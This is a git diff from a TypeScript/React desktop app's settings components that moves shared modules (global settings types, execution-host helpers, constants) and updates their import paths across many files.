--git a/src/renderer/src/components/settings/general/WorkspaceDirectorySetting.tsx b/src/renderer/src/components/settings/general/WorkspaceDirectorySetting.tsx index eea68b1dfe2..e8794d7853c 100644 --- a/src/renderer/src/components/settings/general/WorkspaceDirectorySetting.tsx +++ b/src/renderer/src/components/settings/general/WorkspaceDirectorySetting.tsx @@ -1,14 +1,14 @@ import { GENERAL_SETTING_ANCHORS } from './general-setting-anchors' import React, { useEffect, useId, useRef, useState } from 'react' import { FolderOpen, RotateCcw } from 'lucide-react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { getEffectiveHostSetting, getHostSettingOverride, setHostSettingOverride, clearHostSettingOverride } from '../../../../../shared/execution-host/host-setting-overrides' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host/execution-host' import { normalizeWorkspaceDirInput } from '../../../../../shared/worktree/paths/workspace-dir-input' import { isWindowsUserAgent } from '@/app-shell/platform/user-agent-platform' import { Button } from '../../ui/button' diff --git a/src/renderer/src/components/settings/general/project-runtime/DefaultWindowsProjectRuntimeSetting.tsx b/src/renderer/src/components/settings/general/project-runtime/DefaultWindowsProjectRuntimeSetting.tsx index dc83d346597..9a84e959d99 100644 --- a/src/renderer/src/components/settings/general/project-runtime/DefaultWindowsProjectRuntimeSetting.tsx +++ b/src/renderer/src/components/settings/general/project-runtime/DefaultWindowsProjectRuntimeSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { GlobalWindowsRuntimeDefault } from '../../../../../../shared/execution-host/project-runtime-preference' import { normalizeGlobalWindowsRuntimeDefault } from '../../../../../../shared/execution-host/project-runtime-preference' import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '../../../ui/select' diff --git a/src/renderer/src/components/settings/host-scope/SettingsHostScopePicker.tsx b/src/renderer/src/components/settings/host-scope/SettingsHostScopePicker.tsx index 59c2d9b0319..605c1ca8e52 100644 --- a/src/renderer/src/components/settings/host-scope/SettingsHostScopePicker.tsx +++ b/src/renderer/src/components/settings/host-scope/SettingsHostScopePicker.tsx @@ -1,5 +1,5 @@ import { useTranslate } from '@/i18n/use-translate' -import { getLocalExecutionHostLabel } from '../../../../../shared/execution-host' +import { getLocalExecutionHostLabel } from '../../../../../shared/execution-host/execution-host' import { translateLocalExecutionHostLabel } from '../../sidebar/execution-host-label' import type { PublicKnownRuntimeEnvironment } from '../../../../../shared/remote-runtime/host-catalog/runtime-environments' import { runtimeTargetEnvironmentId } from '@/runtime/rpc/targets/runtime-client-target' diff --git a/src/renderer/src/components/settings/input/InputPane.tsx b/src/renderer/src/components/settings/input/InputPane.tsx index 43b1e7d99c7..797bbec42e8 100644 --- a/src/renderer/src/components/settings/input/InputPane.tsx +++ b/src/renderer/src/components/settings/input/InputPane.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { Label } from '../../ui/label' import { Switch } from '../../ui/switch' import { SearchableSetting } from '../section-layout/SearchableSetting' diff --git a/src/renderer/src/components/settings/mobile/emulator/EmulatorOpeningSettings.fixture.tsx b/src/renderer/src/components/settings/mobile/emulator/EmulatorOpeningSettings.fixture.tsx index 99b4c07779c..bfb3f279ea6 100644 --- a/src/renderer/src/components/settings/mobile/emulator/EmulatorOpeningSettings.fixture.tsx +++ b/src/renderer/src/components/settings/mobile/emulator/EmulatorOpeningSettings.fixture.tsx @@ -1,5 +1,5 @@ import { defineFixture } from '../../../../component-fixtures/component-fixture' -import { getDefaultSettings } from '../../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../../shared/orca-profiles/constants' import { EmulatorOpeningSettings } from './EmulatorOpeningSettings' const devices = [ { name: 'Pixel9_API36', udid: 'Pixel9_API36', runtime: 'Android' }, diff --git a/src/renderer/src/components/settings/mobile/emulator/EmulatorOpeningSettings.tsx b/src/renderer/src/components/settings/mobile/emulator/EmulatorOpeningSettings.tsx index ca13706d379..a9fa09d99e9 100644 --- a/src/renderer/src/components/settings/mobile/emulator/EmulatorOpeningSettings.tsx +++ b/src/renderer/src/components/settings/mobile/emulator/EmulatorOpeningSettings.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { getEmulatorOpeningMode } from '../../../../../../shared/emulator/emulator-opening-preferences' import { SettingsRow } from '../../form-controls/SettingsFormControls' import { MOBILE_EMULATOR_SETTING_ANCHORS } from './mobile-emulator-search' diff --git a/src/renderer/src/components/settings/mobile/emulator/MobileEmulatorSettingsPane.tsx b/src/renderer/src/components/settings/mobile/emulator/MobileEmulatorSettingsPane.tsx index dab4deb3999..73503ee5f67 100644 --- a/src/renderer/src/components/settings/mobile/emulator/MobileEmulatorSettingsPane.tsx +++ b/src/renderer/src/components/settings/mobile/emulator/MobileEmulatorSettingsPane.tsx @@ -1,6 +1,6 @@ import { useCallback, useEffect, useState } from 'react' import { Loader2, RefreshCw } from 'lucide-react' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { cn } from '@/lib/class-names' import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call' import { Badge } from '../../../ui/badge' diff --git a/src/renderer/src/components/settings/navigation/SettingsSidebar.tsx b/src/renderer/src/components/settings/navigation/SettingsSidebar.tsx index 23e60af40bd..1ba7e9d0f68 100644 --- a/src/renderer/src/components/settings/navigation/SettingsSidebar.tsx +++ b/src/renderer/src/components/settings/navigation/SettingsSidebar.tsx @@ -7,7 +7,7 @@ import type { SettingsNavInstallStatus } from '@/components/settings/navigation/settings-navigation-types' import type { GitHubRepositoryIdentity } from '../../../../../shared/github/repositories/repository-identity' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { cn } from '@/lib/class-names' import { RepoIconGlyph } from '../../repo/repo-icon' import { RepoForkIndicator } from '../../repo/repo-fork-indicator' diff --git a/src/renderer/src/components/settings/navigation/settings-navigation-foundations.ts b/src/renderer/src/components/settings/navigation/settings-navigation-foundations.ts index 2b16429e077..1095ebf6789 100644 --- a/src/renderer/src/components/settings/navigation/settings-navigation-foundations.ts +++ b/src/renderer/src/components/settings/navigation/settings-navigation-foundations.ts @@ -1,9 +1,9 @@ import type { MutableRefObject } from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { SpeechModelState } from '../../../../../shared/speech/speech-types' import type { SourceControlAiSettings } from '../../../../../shared/source-control/ai/settings/source-control-ai-settings-types' import { normalizeSourceControlAiSettings } from '../../../../../shared/source-control/ai/settings/source-control-ai-settings' -import { getDefaultVoiceSettings } from '../../../../../shared/constants' +import { getDefaultVoiceSettings } from '../../../../../shared/orca-profiles/constants' import type { SettingsNavSection, SettingsNavTarget diff --git a/src/renderer/src/components/settings/navigation/settings-navigation-types.ts b/src/renderer/src/components/settings/navigation/settings-navigation-types.ts index 85f0c95ab93..3da71e803a8 100644 --- a/src/renderer/src/components/settings/navigation/settings-navigation-types.ts +++ b/src/renderer/src/components/settings/navigation/settings-navigation-types.ts @@ -1,7 +1,10 @@ import type { ComponentType } from 'react' import type { LucideProps } from 'lucide-react' import type { SettingsSearchEntry } from '@/components/settings/search/settings-search' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import type { RuntimeClientTarget } from '../../../../../shared/remote-runtime/host-catalog/runtime-client-target' export type SettingsNavIcon = ComponentType diff --git a/src/renderer/src/components/settings/navigation/settings-project-list.ts b/src/renderer/src/components/settings/navigation/settings-project-list.ts index 4002684f02a..f4ef592e680 100644 --- a/src/renderer/src/components/settings/navigation/settings-project-list.ts +++ b/src/renderer/src/components/settings/navigation/settings-project-list.ts @@ -4,7 +4,7 @@ import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { projectHostSetupProjectionFromRepos } from '../../../../../shared/project/host-setup/project-host-setup-projection' import { getRepoHostIdentityForParts } from '../../../../../shared/repository/repo-host-identity' import { normalizeRuntimePathForComparison } from '../../../../../shared/file-access/cross-platform-path' diff --git a/src/renderer/src/components/settings/navigation/use-settings-repo-scroll-effects.ts b/src/renderer/src/components/settings/navigation/use-settings-repo-scroll-effects.ts index a4b57058a82..3dc556d7bf7 100644 --- a/src/renderer/src/components/settings/navigation/use-settings-repo-scroll-effects.ts +++ b/src/renderer/src/components/settings/navigation/use-settings-repo-scroll-effects.ts @@ -7,7 +7,7 @@ import { cancelSettingsListReveal } from '../section-layout/settings-list-scroll import { resolveGeneralSubPage } from '../general/general-sub-pages' import { useEffect, useRef, useState } from 'react' import type { OrcaHooks } from '../../../../../shared/workspace-setup/orca-yaml-hook-types' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { checkRuntimeHooks } from '@/runtime/repo-hooks/runtime-hooks-client' import { getRepoHostIdentity } from '../../../../../shared/repository/repo-host-identity' import type { SettingsStoreModel } from '../page/use-settings-store-model' diff --git a/src/renderer/src/components/settings/notifications/NotificationSoundSection.tsx b/src/renderer/src/components/settings/notifications/NotificationSoundSection.tsx index 883b8801422..2dfd99e9191 100644 --- a/src/renderer/src/components/settings/notifications/NotificationSoundSection.tsx +++ b/src/renderer/src/components/settings/notifications/NotificationSoundSection.tsx @@ -1,6 +1,6 @@ import { useState } from 'react' import { toast } from 'sonner' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { usesCustomNotificationSound } from '../../../../../shared/notifications/notification-settings-types' import { Label } from '../../ui/label' import { Slider } from '../../ui/slider' diff --git a/src/renderer/src/components/settings/notifications/NotificationsPane.tsx b/src/renderer/src/components/settings/notifications/NotificationsPane.tsx index d7ea9572a94..7b2c8a0b8a6 100644 --- a/src/renderer/src/components/settings/notifications/NotificationsPane.tsx +++ b/src/renderer/src/components/settings/notifications/NotificationsPane.tsx @@ -1,5 +1,5 @@ import { useEffect, useRef, useState } from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { SettingsGroup } from '../section-layout/SettingsGroup' import { Button } from '../../ui/button' import { BellRing, Bot, EyeOff, MessageCircleQuestion, Siren } from 'lucide-react' diff --git a/src/renderer/src/components/settings/orchestration/OrchestrationCoordinatorApprovalsSetting.tsx b/src/renderer/src/components/settings/orchestration/OrchestrationCoordinatorApprovalsSetting.tsx index ad514191a5b..99dabd60f67 100644 --- a/src/renderer/src/components/settings/orchestration/OrchestrationCoordinatorApprovalsSetting.tsx +++ b/src/renderer/src/components/settings/orchestration/OrchestrationCoordinatorApprovalsSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { SettingsSwitchRow } from '../form-controls/SettingsFormControls' import { getCoordinatorApprovalsDescription, diff --git a/src/renderer/src/components/settings/orchestration/OrchestrationPane.tsx b/src/renderer/src/components/settings/orchestration/OrchestrationPane.tsx index 77a5fa1d063..642dc04d39e 100644 --- a/src/renderer/src/components/settings/orchestration/OrchestrationPane.tsx +++ b/src/renderer/src/components/settings/orchestration/OrchestrationPane.tsx @@ -20,7 +20,7 @@ import { AgentSkillSetupPanel } from '../../skills/setup/AgentSkillSetupPanel' import { OrchestrationSkillAgentCoverage } from './OrchestrationSkillAgentCoverage' import { SkillUsageExamplesSection } from '../../skills/examples/SkillUsageExamplesSection' import { useTranslate } from '@/i18n/use-translate' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { resolveNestedWorkerMaxDepth } from '../../../../../shared/orchestration/workers/nested-worker-depth' import { isPairedWebClientWindow } from '@/app-shell/chrome/desktop-window-chrome' import { NumberField } from '../form-controls/SettingsFormControls' diff --git a/src/renderer/src/components/settings/orchestration/OrchestrationWorkerAutoReleaseSetting.tsx b/src/renderer/src/components/settings/orchestration/OrchestrationWorkerAutoReleaseSetting.tsx index 1b4d850dfb5..b4c0cf9af2d 100644 --- a/src/renderer/src/components/settings/orchestration/OrchestrationWorkerAutoReleaseSetting.tsx +++ b/src/renderer/src/components/settings/orchestration/OrchestrationWorkerAutoReleaseSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { SettingsSwitchRow } from '../form-controls/SettingsFormControls' import { getWorkerAutoReleaseDescription, diff --git a/src/renderer/src/components/settings/page/settings-project-section-renderer.tsx b/src/renderer/src/components/settings/page/settings-project-section-renderer.tsx index b419b17a490..dd71f4858c1 100644 --- a/src/renderer/src/components/settings/page/settings-project-section-renderer.tsx +++ b/src/renderer/src/components/settings/page/settings-project-section-renderer.tsx @@ -3,7 +3,7 @@ import { projectGroupHookOwner } from '../../../../../shared/workspace-setup/hoo import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { getRepoHostIdentity } from '../../../../../shared/repository/repo-host-identity' import { RepositoryPane } from '../repository/RepositoryPane' import { SettingsSection } from '../section-layout/SettingsSection' diff --git a/src/renderer/src/components/settings/page/settings-render-context.ts b/src/renderer/src/components/settings/page/settings-render-context.ts index 00b75fed9e6..de76f6a3909 100644 --- a/src/renderer/src/components/settings/page/settings-render-context.ts +++ b/src/renderer/src/components/settings/page/settings-render-context.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { SettingsStoreModel } from './use-settings-store-model' import type { SettingsInteractionController } from './use-settings-interaction-controller' import type { SettingsNavigationModel } from '../navigation/use-settings-navigation-model' diff --git a/src/renderer/src/components/settings/page/use-settings-store-model.ts b/src/renderer/src/components/settings/page/use-settings-store-model.ts index ee94f6e1c03..476fb07ad28 100644 --- a/src/renderer/src/components/settings/page/use-settings-store-model.ts +++ b/src/renderer/src/components/settings/page/use-settings-store-model.ts @@ -3,7 +3,7 @@ import type { GeneralSubPage } from '../general/general-sub-pages' import { useCallback, useMemo, useState } from 'react' import type { OrcaHooks } from '../../../../../shared/workspace-setup/orca-yaml-hook-types' import type { ProjectHostSetup } from '../../../../../shared/project/project-types' -import { DEFAULT_APP_FONT_FAMILY } from '../../../../../shared/constants' +import { DEFAULT_APP_FONT_FAMILY } from '../../../../../shared/app-lifecycle/appearance/app-font-family' import { useAppStore } from '../../../store/index' import { useProjectHostSetupProjection } from '@/store/projects/use-project-host-setup-projection' import { usePluginFontFamilies } from '@/store/plugins/appearance/plugin-fonts' diff --git a/src/renderer/src/components/settings/privacy/PrivacyPane.tsx b/src/renderer/src/components/settings/privacy/PrivacyPane.tsx index f4c4a7b7dd3..85cf011dee2 100644 --- a/src/renderer/src/components/settings/privacy/PrivacyPane.tsx +++ b/src/renderer/src/components/settings/privacy/PrivacyPane.tsx @@ -1,7 +1,7 @@ import { useEffect, useState } from 'react' import { ShieldCheck } from 'lucide-react' import { useMountedRef } from '@/hooks/useMountedRef' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { TelemetryConsentState } from '../../../../../shared/telemetry/telemetry-consent-types' import { Label } from '../../ui/label' import { Switch } from '../../ui/switch' diff --git a/src/renderer/src/components/settings/quick-commands/QuickCommandsPane.tsx b/src/renderer/src/components/settings/quick-commands/QuickCommandsPane.tsx index 8aeaa2e92b4..e3e879755a1 100644 --- a/src/renderer/src/components/settings/quick-commands/QuickCommandsPane.tsx +++ b/src/renderer/src/components/settings/quick-commands/QuickCommandsPane.tsx @@ -1,5 +1,5 @@ import { useCallback, useEffect, useMemo, useState } from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { TerminalQuickCommand } from '../../../../../shared/terminal/quick-commands/terminal-quick-command-types' import { getTerminalQuickCommandScope } from '../../../../../shared/terminal/quick-commands/terminal-quick-commands' import { @@ -22,7 +22,7 @@ import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { getTerminalQuickCommandHostOptions, shouldShowTerminalQuickCommandHostOwnership diff --git a/src/renderer/src/components/settings/quick-commands/QuickCommandsToolbar.tsx b/src/renderer/src/components/settings/quick-commands/QuickCommandsToolbar.tsx index 9f7258a9280..8c12eebca5c 100644 --- a/src/renderer/src/components/settings/quick-commands/QuickCommandsToolbar.tsx +++ b/src/renderer/src/components/settings/quick-commands/QuickCommandsToolbar.tsx @@ -1,7 +1,7 @@ import type { Dispatch, SetStateAction } from 'react' import { Plus, Search } from 'lucide-react' import type { Repo } from '../../../../../shared/repository/repo-types' -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { Button } from '../../ui/button' import { Input } from '../../ui/input' import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '../../ui/select' diff --git a/src/renderer/src/components/settings/repository/RepositoryAgentTrustSection.fixture.tsx b/src/renderer/src/components/settings/repository/RepositoryAgentTrustSection.fixture.tsx index 1404583fb4e..64a245a978c 100644 --- a/src/renderer/src/components/settings/repository/RepositoryAgentTrustSection.fixture.tsx +++ b/src/renderer/src/components/settings/repository/RepositoryAgentTrustSection.fixture.tsx @@ -1,4 +1,4 @@ -import { getDefaultSettings } from '../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' import type { AgentWorkspaceTrustDecision } from '../../../../../shared/agent-launch/permissions/agent-workspace-trust-decision' import type { Repo } from '../../../../../shared/repository/repo-types' import { defineFixture } from '../../../component-fixtures/component-fixture' diff --git a/src/renderer/src/components/settings/repository/RepositoryBrowserProfileSection.fixture.tsx b/src/renderer/src/components/settings/repository/RepositoryBrowserProfileSection.fixture.tsx index cc8617efcb5..a5d22faf21a 100644 --- a/src/renderer/src/components/settings/repository/RepositoryBrowserProfileSection.fixture.tsx +++ b/src/renderer/src/components/settings/repository/RepositoryBrowserProfileSection.fixture.tsx @@ -1,4 +1,4 @@ -import { getDefaultSettings } from '../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' import type { BrowserSessionProfile } from '../../../../../shared/browser/workspaces/browser-workspace-types' import type { Repo } from '../../../../../shared/repository/repo-types' import { defineFixture } from '../../../component-fixtures/component-fixture' diff --git a/src/renderer/src/components/settings/repository/RepositoryBrowserProfileSection.tsx b/src/renderer/src/components/settings/repository/RepositoryBrowserProfileSection.tsx index 507c1714fbb..863a49b6131 100644 --- a/src/renderer/src/components/settings/repository/RepositoryBrowserProfileSection.tsx +++ b/src/renderer/src/components/settings/repository/RepositoryBrowserProfileSection.tsx @@ -6,7 +6,7 @@ import type { Repo } from '../../../../../shared/repository/repo-types' import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { getBrowserProfileHostId } from '@/store/slices/browser/hosts/browser-host-state' import { Select, diff --git a/src/renderer/src/components/settings/repository/RepositoryJiraProjectSection.tsx b/src/renderer/src/components/settings/repository/RepositoryJiraProjectSection.tsx index a67a399a4ee..cd7e5ee2a8b 100644 --- a/src/renderer/src/components/settings/repository/RepositoryJiraProjectSection.tsx +++ b/src/renderer/src/components/settings/repository/RepositoryJiraProjectSection.tsx @@ -1,7 +1,7 @@ import { useMemo, useState } from 'react' import type { Repo } from '../../../../../shared/repository/repo-types' import type { JiraProjectReference } from '../../../../../shared/jira/jira-project-reference' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { taskSourceRuntimeTarget } from '@/lib/work-items/task-source-runtime-target' import { useAppStore } from '@/store/index' import { useJiraProjectInventory } from '../../use-jira-project-inventory' diff --git a/src/renderer/src/components/settings/repository/RepositoryPane.tsx b/src/renderer/src/components/settings/repository/RepositoryPane.tsx index 2908027d8ed..a3cb9a94bd9 100644 --- a/src/renderer/src/components/settings/repository/RepositoryPane.tsx +++ b/src/renderer/src/components/settings/repository/RepositoryPane.tsx @@ -12,7 +12,8 @@ import type { Repo } from '../../../../../shared/repository/repo-types' import type { SourceControlAiSettingsPatch } from '../../../../../shared/source-control/ai/settings/source-control-ai-settings-types' import { getRepoKindLabel, isFolderRepo } from '../../../../../shared/repository/repo-kind' import { useFolderSetupSupport } from '@/lib/workspace/creation/setup/folder-setup-support' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +// oxfmt-ignore +import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { Label } from '../../ui/label' import { useShallow } from 'zustand/react/shallow' import { RepositoryHooksSection } from './hooks/RepositoryHooksSection' diff --git a/src/renderer/src/components/settings/repository/RepositoryRemoveProjectSection.tsx b/src/renderer/src/components/settings/repository/RepositoryRemoveProjectSection.tsx index 3765cac873b..40a2815881f 100644 --- a/src/renderer/src/components/settings/repository/RepositoryRemoveProjectSection.tsx +++ b/src/renderer/src/components/settings/repository/RepositoryRemoveProjectSection.tsx @@ -1,7 +1,10 @@ import { useMemo, useState } from 'react' import { ChevronRight } from 'lucide-react' import { useShallow } from 'zustand/react/shallow' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import type { ProjectHostSetup } from '../../../../../shared/project/project-types' import type { Repo } from '../../../../../shared/repository/repo-types' import type { SettingsProjectRemovalScope } from '../navigation/settings-project-list' diff --git a/src/renderer/src/components/settings/repository/hooks/ProjectGroupHooksSection.tsx b/src/renderer/src/components/settings/repository/hooks/ProjectGroupHooksSection.tsx index 31687437598..300b0e3b63e 100644 --- a/src/renderer/src/components/settings/repository/hooks/ProjectGroupHooksSection.tsx +++ b/src/renderer/src/components/settings/repository/hooks/ProjectGroupHooksSection.tsx @@ -3,7 +3,7 @@ import { toast } from 'sonner' import type { ProjectGroup } from '../../../../../../shared/project/groups/project-group-types' import type { GroupHookCheckResult } from '../../../../../../shared/project/groups/project-group-hooks' import { projectGroupHookOwner } from '../../../../../../shared/workspace-setup/hooks/workspace-hook-owner' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { PROJECT_GROUP_FOLDER_SETUP_RUNTIME_CAPABILITY, PROJECT_GROUP_FOLDER_ARCHIVE_RUNTIME_CAPABILITY diff --git a/src/renderer/src/components/settings/repository/hooks/RepositoryHooksSection.tsx b/src/renderer/src/components/settings/repository/hooks/RepositoryHooksSection.tsx index fef6d1f38e8..f4e524b49db 100644 --- a/src/renderer/src/components/settings/repository/hooks/RepositoryHooksSection.tsx +++ b/src/renderer/src/components/settings/repository/hooks/RepositoryHooksSection.tsx @@ -10,7 +10,7 @@ import type { import type { WorkspaceHookOwner } from '../../../../../../shared/workspace-setup/hooks/workspace-hook-owner' import { Button } from '@/components/ui/button' import type { Repo } from '../../../../../../shared/repository/repo-types' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { isFolderRepo } from '../../../../../../shared/repository/repo-kind' import { resolveHookCommandSourcePolicy } from '../../../../../../shared/workspace-setup/hooks/hook-command-source-policy' import { useAppStore } from '@/store/index' diff --git a/src/renderer/src/components/settings/repository/hooks/repository-hook-defaults.ts b/src/renderer/src/components/settings/repository/hooks/repository-hook-defaults.ts index b76c67ea556..07a6396edb0 100644 --- a/src/renderer/src/components/settings/repository/hooks/repository-hook-defaults.ts +++ b/src/renderer/src/components/settings/repository/hooks/repository-hook-defaults.ts @@ -1,3 +1,3 @@ -import { getDefaultRepoHookSettings } from '../../../../../../shared/constants' +import { getDefaultRepoHookSettings } from '../../../../../../shared/orca-profiles/constants' export const DEFAULT_REPO_HOOK_SETTINGS = getDefaultRepoHookSettings() diff --git a/src/renderer/src/components/settings/repository/hooks/use-repository-issue-command.ts b/src/renderer/src/components/settings/repository/hooks/use-repository-issue-command.ts index 69fdb64860a..215f72dffd7 100644 --- a/src/renderer/src/components/settings/repository/hooks/use-repository-issue-command.ts +++ b/src/renderer/src/components/settings/repository/hooks/use-repository-issue-command.ts @@ -4,7 +4,7 @@ import { readRuntimeIssueCommand, writeRuntimeIssueCommand } from '@/runtime/repo-hooks/runtime-hooks-client' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { watchRefusedWslRead } from '@/runtime/hosts/wsl/wsl-refused-read-watch' export function useRepositoryIssueCommand({ diff --git a/src/renderer/src/components/settings/repository/hosts/RepositoryHostSetupActions.tsx b/src/renderer/src/components/settings/repository/hosts/RepositoryHostSetupActions.tsx index b346fc53eaa..6dd00313621 100644 --- a/src/renderer/src/components/settings/repository/hosts/RepositoryHostSetupActions.tsx +++ b/src/renderer/src/components/settings/repository/hosts/RepositoryHostSetupActions.tsx @@ -2,7 +2,7 @@ import { useState } from 'react' import { useCloneFolderOverride } from '../../../sidebar/project-admission/clone-folder/use-clone-folder-override' import { getProjectCloneCheckTarget } from '../../../../store/projects/project-host-routing' import { Plus, X } from 'lucide-react' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { ProjectHostSetup, ProjectHostSetupCreateResult, diff --git a/src/renderer/src/components/settings/repository/hosts/RepositoryHostSetupsSection.tsx b/src/renderer/src/components/settings/repository/hosts/RepositoryHostSetupsSection.tsx index dcdca4646b6..e3647e5b622 100644 --- a/src/renderer/src/components/settings/repository/hosts/RepositoryHostSetupsSection.tsx +++ b/src/renderer/src/components/settings/repository/hosts/RepositoryHostSetupsSection.tsx @@ -4,7 +4,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { buildExecutionHostRegistry } from '../../../../../../shared/execution-host/execution-host-registry' import { getHostDisplayLabelOverrides } from '../../../../../../shared/execution-host/host-setting-overrides' import type { ProjectHostSetup } from '../../../../../../shared/project/project-types' diff --git a/src/renderer/src/components/settings/repository/hosts/repository-host-setup-options.ts b/src/renderer/src/components/settings/repository/hosts/repository-host-setup-options.ts index b99852ffbb4..552b6544dde 100644 --- a/src/renderer/src/components/settings/repository/hosts/repository-host-setup-options.ts +++ b/src/renderer/src/components/settings/repository/hosts/repository-host-setup-options.ts @@ -1,7 +1,7 @@ import { getExecutionHostLabel, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { ExecutionHostRegistryEntry } from '../../../../../../shared/execution-host/execution-host-registry-entry' import type { ProjectHostSetup, diff --git a/src/renderer/src/components/settings/repository/identity/RepositoryIconPicker.tsx b/src/renderer/src/components/settings/repository/identity/RepositoryIconPicker.tsx index 5eca001c5ee..781da3980ae 100644 --- a/src/renderer/src/components/settings/repository/identity/RepositoryIconPicker.tsx +++ b/src/renderer/src/components/settings/repository/identity/RepositoryIconPicker.tsx @@ -14,7 +14,7 @@ import { runtimeTargetForOwnerEnvironment } from '@/runtime/rpc/targets/runtime- import { getRepoExecutionHostId, parseExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { useMountedRef } from '@/hooks/useMountedRef' import { RepositoryIconColorSection } from './RepositoryIconColorSection' import { RepositoryIconTabs } from './RepositoryIconTabs' diff --git a/src/renderer/src/components/settings/repository/mcp/McpConfigSection.tsx b/src/renderer/src/components/settings/repository/mcp/McpConfigSection.tsx index 95084a35b2d..337bde73418 100644 --- a/src/renderer/src/components/settings/repository/mcp/McpConfigSection.tsx +++ b/src/renderer/src/components/settings/repository/mcp/McpConfigSection.tsx @@ -8,7 +8,7 @@ import { getRepoSshConnectionId, getWorktreeExecutionHostId, parseExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { canInspectLocalMcpConfigRoot, inspectMcpConfigContent, diff --git a/src/renderer/src/components/settings/repository/repository-search.ts b/src/renderer/src/components/settings/repository/repository-search.ts index a93417bb86e..0a15d10155c 100644 --- a/src/renderer/src/components/settings/repository/repository-search.ts +++ b/src/renderer/src/components/settings/repository/repository-search.ts @@ -4,7 +4,7 @@ import { isFolderRepo } from '../../../../../shared/repository/repo-kind' import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import type { SettingsSearchEntry } from '../search/settings-search' import { translate } from '@/i18n/i18n' import type { Translate } from '@/i18n/use-translate' diff --git a/src/renderer/src/components/settings/repository/runtime/ProjectWindowsRuntimeSetting.tsx 